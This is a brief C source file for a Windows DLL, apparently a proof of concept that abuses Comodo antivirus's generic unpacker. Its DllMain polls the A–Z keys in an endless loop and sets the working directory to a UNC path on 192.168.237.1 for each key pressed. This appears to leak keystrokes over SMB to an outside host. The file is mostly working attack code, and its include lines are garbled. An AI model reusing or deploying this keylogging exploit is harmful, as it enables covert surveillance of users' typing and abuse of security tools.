#include #include #pragma comment(lib, "KERNEL32") #pragma comment(lib, "USER32") // This is required to trigger the generic unpacker in comodo. #pragma comment(linker, "/SECTION:.text,ERW") BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { char path[1024]; char *ptr; ZeroMemory(path, sizeof path); ptr = strcpy(path, "\\\\?\\UNC\\192.168.237.1\\"); ptr += strlen(ptr); SetCurrentDirectory(path); for (;;) { for (*ptr = 'A'; *ptr <= 'Z'; (*ptr)++) { if (GetKeyState(*ptr) & 0x8000) { SetCurrentDirectory(path); } } } return TRUE; }